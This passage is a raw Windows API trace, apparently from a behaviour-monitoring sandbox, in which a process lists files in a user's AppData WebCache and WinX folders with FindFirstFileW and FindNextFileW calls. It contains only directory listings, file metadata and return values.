[0212.596] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x440ceb34, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x41465a89, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100006.log", cAlternateFileName="")) returned 1 [0212.597] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a0363d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a0363d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0212.597] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0212.597] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x372c3fff, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0212.598] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x317c5f5c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0212.598] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.598] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0212.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.599] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x3e [0212.599] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x41394a0d, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41394a0d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.599] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x41394a0d, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41394a0d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.600] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x543af301, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0212.600] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x41346807, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 [0212.600] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x440ceb34, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x41465a89, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100006.log", cAlternateFileName="")) returned 1 [0212.601] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a0363d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a0363d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0212.601] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0212.602] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x372c3fff, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0212.602] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x317c5f5c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0212.603] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x317c5f5c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 0 [0212.603] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0212.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.603] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x3a [0212.603] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.604] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.604] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0212.605] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0212.605] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0212.606] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 0 [0212.606] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0212.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0212.606] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x3a [0212.606] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.607] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.607] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0212.608] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0212.608] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0212.788] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.788] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0212.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0212.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.789] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x41 [0212.789] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.789] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.790] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="1-DESK~1.LNK")) returned 1 [0212.790] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.790] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.790] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0212.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0212.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.791] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x41 [0212.791] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.791] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.791] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="1-DESK~1.LNK")) returned 1 [0212.791] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.792] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0212.792] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0212.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0212.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.792] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: 